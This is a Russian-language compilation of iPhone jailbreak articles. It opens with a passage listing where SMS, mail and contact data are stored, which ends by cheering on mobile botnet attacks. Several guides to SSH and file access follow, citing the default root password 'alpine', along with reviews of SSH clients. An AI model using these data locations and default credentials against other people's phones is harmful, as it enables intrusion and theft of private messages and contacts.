msg_group: ROWID|type (резерв, всегда 0)|newest_message (ID последнего
сообщения)|unread_count (кол-во непрочитанных). Эта таблица связывает группы
адресатов и сообщения. Формат таблицы group_member: ROWID|group_id|address
(номер телефона адресата). Таблица содержит информацию о группах адресатов СМС.
Если ты отправляешь СМС одному человеку – создается новая группа, с одним
адресатом, все сообщения от него к тебе и твои к нему записываются с
идентификатором этой группы. Если отправляешь нескольким – создается группа с
несколькими адресатами, тогда один номер является участником нескольких групп в
таблице.

/private/var/mobile/Library/WebKit/Databases/Databases.db – здесь хранится
информация о всех базах данных, которые использует движок WebKit. Это почтовые
аккаунты. Формат таблицы Databases: guid|origin (источник, в случае с почтой
gmail – это http_mail.google.com_0)|name (имя аккаунта GmailMobileWeb)|displayName|estimatedSize
(размер базы в байтах)|path (имя базы данных). На основе данных из этой базы
лезем в базы каждого аккаунта. Они расположены в директории /private/var/mobile/Library/WebKit/Databases/<origin
из Databases.Databases>/<path из Databases.Databases>. Рассмотрение
внутренностей этих баз оставлю на самостоятельное изучение или для следующих
статей.

/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb и /private/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb
– базы данных адресной книги (списка контактов). Здесь самая интересная таблица
ABPerson. Формат: ROWID|First (Имя)|Last (Фамилия)|Middle (Отчество)|FirstPhonetic|MiddlePhonetic|LastPhonetic
(не используются)|Organization|Department|Note|Kind|Birthday| JobTitle|Nickname|Prefix|Suffix|FirstSort|LastSort|CreationDate| ModificationDate|CompositeNameFallback|ExternalIdentifier|StoreID| DisplayName|FirstSortSection|LastSortSection| FirstSortLanguageIndex|LastSortLanguageIndex.
Разумеется, большинство этих полей пустые. Вторая таблица используется для
хранения аватарок абонентов. Думаю, разберешься с ней без проблем.

Заключение

Это не конец — это только начало. Пройдет немного времени и атак станет
существенно больше. Стимул изобретать их весьма велик: мобильный ботнет на базе
мощных unix-гаджетов с двумя интерфейсами выхода в интернет! Количество атак на
мобильные платформы растет пропорционально их распространенности и
производительности. Apple iPhone на сегодня по этим показателям явно лидер. Так
что, дерзай, надеюсь, почву для размышления я предоставил.

SSH сервер на вашем iPhone. Три классных SSH клиента для iOS

В одном из предыдущих постов я обещал написать небольшой обзор способов просмотра файлов и папок (а также работы с ними) на телефонах iPhone. Пожалуй, пора уже это сделать. Сразу предупрежу, что речь пойдёт только об iPhone, на которых проделана операция jailbreak. В сети (в RU-нете, в том числе) достаточно много материалов о том, как произвести эту операцию независимо от того, используете вы официально куленный в России iPhone 3G или же привезённый откуда-то 2G, поэтому не буду перепечатывать эти материалы: просто воспользуйтесь вашим любимым поисковиком и найдёте необходимую информацию. Помимо этого, предложенные мною способы будут касаться исключительно взаимодействия с системой Mac OS X, несмотря на то, что один из этих способов подойдёт практически для любой операционной системы.

Итак, в первую очередь хотелось бы сказать пару слов о том, для чего вообще может понадобиться доступ к файловой системе вашего iPhone. Тут я выделю 3 основных причины:

  • использование iPhone в качестве носителя информации (wi-fi флэшки)
  • быстрый доступ к снимкам, сделанным камерой iPhone или скриншотам, сделанным на этом аппарате
  • банальное любопытство и, в некоторых случаях, исправление неточностей, допущенных разработчиками системы (об одной из них я писал тут)

Наверняка, есть и другие моменты, которых я не коснулся, и если они у вас появятся, то рецепты для осуществления желаемого подойдут и для них.

Существуют программные продукты, установив которые на свой Mac, вы получите интерфейс для доступа к файлам вашего аппарата, но мне не хотелось бы заострять на них ваше внимание, поскольку установка приложения подразумевает отказ от мобильности, в том смысле, что поставив приложение и закачав файлы на одном Маке, вам потребуется снова ставить приложение на другом компьютере, чтоб эти файлы с аппарата слить, что лишает смысла всю идею.

AppleTalk: всё новое – это хорошо забытое старое

AppleTalk – это набор закрытых протоколов для связи компьютеров в сеть, разработанный компанией Apple Inc. в 80-х годах прошлого столетия, и впервые включённый в Macintosh в 1984 году. На текущий момент данный набор является устаревшим, но, тем не менее, поддерживается операционной системой Mac OS X. Но речь, собственно, не о самом AppleTalk, а о Netatalk – открытой реализации AppleTalk для *BSD систем.
После установки Netatalk при наличии Wi-Fi сети ваш iPhone превратится в обычный компьютер в «сетевом окружении», на который вы сможете зайти, как заходите на любой другой сетевой ресурс. Но сперва об установке.

В телефонах, подвергнутых операции jailbreak’a есть приложение Cydia – набор репозиториев с программами, позволяющими очень и очень многое. Запустите это приложение и нажмите на секцию Search внизу экрана. Начинайте набирать в строке поиска название приложения. По мере набора, результаты будут меняться, и в какой-то момент на экране останется только то, что вам нужно. Нажмите на найденное приложение и установите его (кнопка Install в правом верхнем углу экрана). Затем подтвердите установку (кнопка Confirm). По окончании установки, нажмите «Return to Cydia» или просто выходите из приложения Cydia нажав на Home. Теперь осталось подключиться к телефону.

Пользователям Mac OS X Leopard вообще ничего не нужно по этому поводу делать: телефон автоматически появится в разделе «Общий доступ» приложения Finder. (Если этого не произошло, удостоверьтесь, что в настройках Finder для бокового меню выставлена настройка, как наэтом рисунке, после чего всё будет работать). Теперь можно кликнуть по этому устройству, и, введя необходимые имя пользователя и пароль (об этом ниже), начать своё путешествие по файловой системе iPhone.

Пользователям Tiger и более младших систем для получения доступа к аппарату придётся совершить ряд несложных операций:

Узнайте IP-адрес вашего iPhone в текущей Wi-Fi сети. Для этого в настройках Wi-Fi сети телефона нажмите на стрелку в синем круге и посмотрите адрес:

Откройте Finder, выберите «Переход -> Подключение к серверу» (⌘+K) и введите IP-адрес телефона в строке, после чего нажмите «Подключиться». Система спросит имя пользователя и пароль (об этом чуть-чуть ниже), после чего предложит подмонтировать найденный раздел (соглашайтесь). Теперь у Вас появится новая подмонтированная папка, которая будет ссылаться на раздел на IPhone. К сожалению, я не могу предоставить скриншоты и описать последовательность действий более подробно, поскольку на всех Маках, имеющихся в моём распоряжении, установлена Mac OS X Leopard.

Теперь то, что касается имени пользователя и пароля. Вам на выбор доступны два из них – «root » и «mobile » с одинаковым паролем «alpine «. (Как поменять пароль, я расскажу в одном из следующих постов.) Пользователям, знакомым с системой прав и учётных записей на BSD/Linux системах, полагаю, всё итак понятно, остальным же вкратце скажу, что root – суперпользователь, от имени которого работают практически все системные процессы, а mobile – это, грубо говоря, пользователь данного телефона, со своим набором приложений, документов, а также довольно ограниченным набором прав.
Каким из пользователей iPhone OS заходить на телефон – решать, конечно, вам, поскольку от этого зависит тот набор возможностей, который вы получите. Но кого бы вы ни выбрали, действуйте аккуратно и не трогайте того, чего не знаете.

Начиная писать про способы подключения к iPhone, я совершенно не учёл, что это будет довольно объёмный материал. В результате я принял решение разбить этот пост на два поменьше, описав в каждом по одному из способов обмена файлами с iPhone. Данный пост является продолжением и завершением этого.
Итак, ещё один способ для обмена файлами с вашим iPhone.

SSH сервер на вашем iPhone

Этот способ подойдёт как пользователям Mac OS X, так и пользователям других операционных систем.
Помимо упомянутого выше приложения Cydia, в телефоне после jailbreak’а будет доступно приложение Installer . Оно, в общем-то, несёт в себе тот же смысл, что и Cydia – позволяет устанавливать приложения, минуя AppStore. Мне неясно, зачем было разделять подобный функционал на два независимых приложения, но приходится с этим мириться и пользоваться тем, что есть.
Итак, запустив Installer, отправляйтесь в поиск (Search) и выберите OpenSSH , после чего установите это приложение. Во время установки программа скажет вам, что для работыOpenSSH требуются дополнительные средства, такие как «BSD Subsystem» и «Community Sources». Если установку не предложит, установите их самостоятельно, после чего начинайте устанавливать OpenSSH.
Завершив установку вы сразу получите запущенный SSH сервер на вашем телефоне, который теперь автоматически будет стартовать после перезагрузки телефона. Теперь дело за малым – подключиться к телефону по SSH. Для этого вам потребуется узнать IP-адрес вашего iPhone в сети Wi-Fi, а как это сделать, написано и показано в предыдущем посте.

Теперь используя программу Terminal или какие-то другие программы вы сможетеподключаться к телефону по SSH . Что это даёт вам в практическом смысле? Навскидку в голову приходят несколько замечательных вещей, таких как:

  • сам SSH

Про любую из вышеперечисленных аббревиатур вы найдёте массу информации в сети, а я лишь коротко пробегусь по их возможностям и предназначениям:

SSH – это протокол для управления удалёнными машинами. Шифрует весь траффик и передаваемые пароли, ввиду чего пользуется большой популярностью.

SFTP (SSH File Transfer Protocol ) – протокол, для передачи файлов и других, связанных с файлами операций, использующий в качестве своего транспорта надёжный шифрующий протокол SSH.

SCP (Secure Copy Protocol ) – протокол для копирования файлов между компьютерами, использующий транспортом SSH. В Mac OS X программу scp для передачи файла (в нашем случае, на iPhone) можно запустить из терминала. Но об этом позже.

Итак, в предыдущем посте я уже рассказал, как узнать IP-адрес телефона в Wi-Fi сети и про имена пользователей и пароли, под которыми на телефон можно войти. Теперь дело за малым – определиться, какими программами и для чего вы это будете делать.

Откройте терминал (пользователи MS Windows могут воспользоваться бесплатной программой Putty) и наберите там команду

После чего программа попросит вас ввести пароль (если вы не меняли пароль, то вводите alpine , если же вы меняли пароль, то уже итак всё знаете, и читать данный пост вам незачем), спросит, действительно ли вы доверяете этому источнику (набирайтеyes ), после чего вы окажетесь … на вашем iPhone. Если вы определённо не знаете, что делать дальше, набирайте exit , что вернёт вас обратно на ваш компьютер. Переведите дыхание и дождитесь следующих постов – там я немного расскажу о структуре папок iPhone OS и их назначении. А пока почитайте про другие протоколы и программы.

В Mac OS X есть терминальная программа sftp, позволяющая управлять файлами на iPhone (удалять, копировать), и с её помощью вы можете с любого Мака скачать с iPhone файлы, или закачать на него что-нибудь. С другой стороны, вы всегда можете воспользоваться программой Cyberduck или Transmit и создать там SFTP соединение, после чего работать с файловой структурой iPhone можно будет как с обычным FTP сервером. Учитывайте при этом, что время от времени IP-адрес вашего iPhone в сети может меняться (это зависит от настроек маршрутизатора), а на другом компьютере может попросту не оказаться программ для удобной работы с SFTP (кроме консольных). Поэтому я всё же рекомендую на всякий случай разобраться с тем, что даёт терминальная программа sftp, и какой список команд у неё есть.

Для этой программы подойдёт всё то, что я описал выше для SFTP. Есть программы для настройки соединений через этот протокол, обеспечивающие user-friendly интерфейс к результатам её выполнения, но я бы всё-таки рекомендовал изучить синтаксис, чтобы в любой момент иметь возможность залить или слить необходимые файлы.

Вот, в общем-то, и всё. Два предложенных мною способа связи с iPhone дополняют друг-друга и позволяют получать файлы с iPhone и заливать их туда практически с любой платформы без установки дополнительного программного обеспечения на компьютер. В ближайшее время я постараюсь описать те файлы и папки, которые могут быть вам полезны и позволят не только обогатить ваш телефон дополнительными возможностями (например, переносить на нём нужные файлы или обходить стандартные ограничения), но и исправлять некоторые ошибки. В общем, следите за обновлениями, а если что-то непонятно, задавайте вопросы в комментариях.

Одна из причин почему люди делают джейлбрек (jailbreak) своего телефона заключается в том, чтобы иметь возможность передачи файлов между компьютером и iPhone посредством протокола ssh. Данное краткое руководство повествует о том, как с помощью протокола ssh передавать рингтоны, фотографии, видео и любые другие файлы без использования USB-кабеля.

Несколько слов об SSH: это сетевой протокол прикладного уровня используемый в среде Unix/Linux, с помощью которого осуществляется удаленное управление операционной системой и на его базе организуются зашифрованные туннели. Также его можно использовать для передачи файлов также как и протокол FTP. Так что в данном случае мы осуществляем удаленное управление сервером на базе Iphone.

Установка поддержки SSH с помощью Cydia

Наверняка стает вопрос, почему надо использовать ssh, коли он разработан для Unix систем? Но поскольку iPhone OS является кастрированной версией Mac OS X, которая в свою очередь базируется на ядре UNIX системы, то можно сказать что iPhone OS это облегченная версия UNIX, по этой причине мы и можем использовать SSH.

Поскольку компания Apple не включает поддержку sshв телефоны iPhone мы вынуждены, предварительно сделать jailbreak системы. После того как мы произвели джейлбрейк, то можем спокойно переходить к установке ssh: заходим в Cydia и в поиске задаем “OpenSSH” пакет. Нажимаем иконку Install и устанавливаем на iPhone, после чего перегружаем телефон. Когда система загрузится, никаких новых иконок не появится, но тем не менее утилита SSH поднимается в автоматическом режиме и прослушивает удаленные запросы на предмет установления соединения.

*** У Вас наверняка включена автоблокировка телефона? Дело в том, что в процессе передачи файла по SSH телефон должен быть в активном состоянии, для этого необходимо отключить автоблокировку: идем Settings -> General -> Auto-Lock и выставляем Never.

Передача файлов с использованием SSH

В вашем iPhone уже имеется поддержка SSH и он прослушивает входящие покеты на предмет SSH запроса. Перед тем как передавать файлы на ваш iPhone, необходимо задать IP адрес для iPhone.

Проверить IP адрес можно по следующему пути Settings -> Wi-Fi. Нажимаем на имя активного соединения WiFi и просматриваем подробности. Вы видите IP адрес телефона и его сетевые настройки, там же вы можете задать настройки сети для вашего iPhone. В нашем примере IP адрес будет 10.0.1.5.

Поскольку IP адрес вам уже известен, переходим к следующему шагу- установке подключения к iPhone с компьютера.

Подключения компьютера к iPhone с помощью WinSCP

Для пользоватей Windows я бы порекомендовал скачать программу WinSCP , которая является свободнораспространяемым SSH клиентом для Win XP/Vista. Установка WinSCP элементарна и ни чем не отличается от установки стандартной программы в среде Windows. Для пользователей Unix и Mac систем- в самих системах есть встроенная поддержка ssh и встроенный клиент.

Установив приложение, запускаете WinSCP и, чтобы подключиться к iPhone, нажимаете New. В пункте host name, пишите IP адрес вашего iPhone. В user name и password, используете стандартную связку “root” and “alpine”. Остальные поля не трогаете. После этого нажимаете “Login” для установки соединения с вашим iPhone. Нажимаете “Yes” если вам будет предложено добавить host key в кэш.

*** Вместо кнопки “Login” вы можите нажать “Save…” с тем чтобы сохранить сессию для дальнейшего использования.

Несовместимость большинства твиков от iOS 8 с новой прошивкой. По этой причине разработчикам расширений придется потратить огромную кучу времени на оптимизацию своих твиком с новой ОС, причем этот процесс может затянуться на долгие месяцы.

Как известно, большинство людей, устанавливающих джейлбрейк, хотят получить полный контроль над системой. Так как iOS основана на Linux, то этого можно добиться с помощью SSH доступа к системе. Проще говоря, через специальный терминал, который умеет работать со специальными командами.

На операционную системы iOS 8 с джейлбрейком существовало сразу три хороших терминала: Terminal, MobileTerminal, и WhiteTerminal. Из-за особенностей iOS 9, ни один из них не работает на iPhone и iPad с этой прошивкой. Получается, что получить доступ над своим устройством не получится, но решение все же есть.

Чтобы пользоваться терминалом на iOS 9 нам потребуется компьютер на Windows, Linux, или OS X. Для начала необходимо запустить на «яблочком» устройстве магазин Cydia, и произвести установку джейлбрейк-твика OpenSSH . Это расширение позволяет удаленно подключаться к «яблочному» смартфону или планшету, чтобы затем иметь возможность легко управлять им с помощью команд.

Установив этот твик на свой iPhone или iPad, важно обязательно перезагрузить устройство. Теперь подключаем компьютер и испытуемое устройство к одной Wi-Fi сети. На смартфоне или планшете с iOS открываем «Настройки» — Wi-Fi. Справа от подключенной Wi-Fi сети будет значок буковки i . Нажимаем на него, и запоминаем информацию из графы «Адрес IP». В нашем случае это 192.168.1.103 .

Теперь запускаем на компьютере под управлением Linux или OS X приложение «Терминал». При использовании операционной системы Windows рекомендуем использовать программу PuTTY. Вводим в терминале команду для подключения к iPhone, iPad или iPod Touch. Она выглядит следующим образом:

Адрес после знака @ необходимо заменить на свой из графы «Адрес IP», который мы узнавали ранее. После ввода этой фразы потребуется ввести пароль от своего гаджета. По умолчанию он: alpine (без точки на конце).

Если все прошло удачно, то после ввода пароля появится примерно такая строчка: iPhone-Sergej:

root# . Также подключиться к своему смартфону или планшету можно непосредственно с другого устройства. Для этого можно воспользоваться любым SSH клиентов доступа. Для iOS самым лучшим считается хорошо известный за рубежом Prompt 2.

До 10 марта включительно у всех желающих есть уникальная возможность Xiaomi Mi Band 3, потратив на это всего 2 минуты своего личного времени.

Присоединяйтесь к нам в

Чтобы получить доступ к устройству iPhone/iPad (iOS 5; iOS 6) по SSH необходимо, чтобы:

  • устройство было взломано с помощью jailbreak;
  • установлен пакет OpenSSH;
  • на клиенте установлена программа для работы по протоколу SSH.

0. Взлом с помощью jailbreak

1. Установка пакета OpenSSH

Если программа SBSettings не установлена, то служба OpenSSH сразу должна работать.

Если программа SBSettings установлена, то, возможно, SSH служба отключена и её необходимо включить в настройках этой программы.

2. Доступ с компьютера

Следует посмотреть IP-адрес устройства (Настройки > Wi-Fi > Ваша сеть > Адрес IP):

Желательно, выполнить команду ping на этот IP-адрес:

Если ответа нет, то ищите причину. Обычно, это блокировка экрана устройства (см.конец статьи). Если всё в порядке, то можно настраивать доступ через SSH.

Есть два способа — через кабель и без кабеля.

2.1 Без кабеля

Обычно, используют программы PuTTY и WinSCP . PuTTY позволяет выполнять команды на устройстве:

а WinSCP предоставляет доступ к содержимому файловой системы в виде классического двухпанельного проводника:

Любителям программы Total Commander могу посоветовать плагин SFTP. Как его установить . Открываем панель файловых плагинов и видим плагин Secure FTP:

В справке сообщается:
F7: создать новое соединение
F8/Del: удалить соединение
Enter: подключиться
Alt+Enter: изменить опции

Создав с помощью F7 новое соединение:

Изменяем его настройки:

Разблокируем экран устройства iPhone, чтобы Wi-Fi соединение было активно, и подключаемся:

2.2 Через кабель

Например, я написал командный файл, для запуска утилиты itunnel_mux и последующим подключением WinSCP (идея взята отсюда):
start /min itunnel_mux —lport 9990 —iport 22 start WinSCP.exe sftp://[email protected]:9990
По окончанию работы следует закрыть окна обоих приложений.

WinSCP + itunnel_mux + командный файл можно скачать по ссылке .

3. Разное

Примечание 2: чтобы обезопасить устройства от доступа нежелательных лиц, требуется сменить пароль. Сделать это можно выполнив команду passwd на устройстве.
iPhone-Maxim:

root# passwd (вводим команду passwd) Changing password for root. New password: _____ (вводим новый пароль) Retype new password: _____ (вводим новый пароль ещё раз) iPhone-Maxim:

root#
Также через SBSettings можно отключать SSH доступ, когда он вам не требуется.

Примечание 3: если iPhone/iPad теряют связь по SSH, то отключите автоблокировку или сделайте её достаточно длинной:
Настройки > Основные > Автоблокировка > Указать нужный интервал.

Проблемы с серверами обычно случаются не тогда, когда сидишь в теплом офисе за компьютером, а когда ты в 50 км от города на даче и из техники у тебя только мобильный телефон. Для таких случаев необходимо иметь на своем iPhone хороший SSH-клиент.

Prompt 2

Продукт позиционирует себя как максимально легкий в использовании и предельно безопасный. Пользователи называют его идеальным SSH-клиентом.

Достоинства :

  • доступ к приложению по отпечатку пальца;
  • возможность группировать закладки с данными доступа к разным серверам по папкам;
  • кнопка срочной синхронизации всего и сразу;
  • возможность создавать кнопки в панели инструментов для повторяющихся действий;
  • генератор приватных ключей;
  • удобный менеджер для управления приватными ключами.

Недостатки : не обнаружено, за исключением высокой стоимости.
Цена : 479 рублей.
Страница в AppStore

У этого клиента нет такого количества интересных фишек для безопасности, как у вышеописанного собрата. Его главное достоинство – внешний вид. SSH-клиент Cathode выглядит как терминал из фильмов про хакеров 90-ых годов. Даже когда просто пингуешь на нем сервер, чувствуешь себя крутым взломщиком.

Достоинства :

  • роскошные ретро-шрифты;
  • поддержка нескольких соединений одновременно;
  • создание закладок с данными для подключения к серверам;
  • менеджер приватных SSH-ключей.

Недостатки: критических недостатков нет, но стоит отметить не столь удобное управление, как у Prompt 2.
Цена: 279 рублей.
Страница в AppStore

Serverauditor

Еще один качественный SSH-клиент с русскоязычным интерфейсом. У него намного меньше фич для обеспечения безопасности, но если вы работаете не в ФСБ, то имеющегося ассортимента вам будет вполне достаточно.


Достоинства :

  • поддержка PuTTY ключей;
  • импорт ключей через ITunes Files Sharing;
  • настройка ПИН-кода для входа в приложение;
  • генератор RSA/DSA ключей;
  • объединение закладок с хостами в папки;
  • напоминание об активных сессия перед закрытием соединения, если приложение в свернутом состоянии.

Недостатки: не обнаружено, с точки зрения удобства интерфейса не сильно уступает Prompt 2.
Цена: 349 рублей (некоторые функции доступны в бесплатной бета-версии).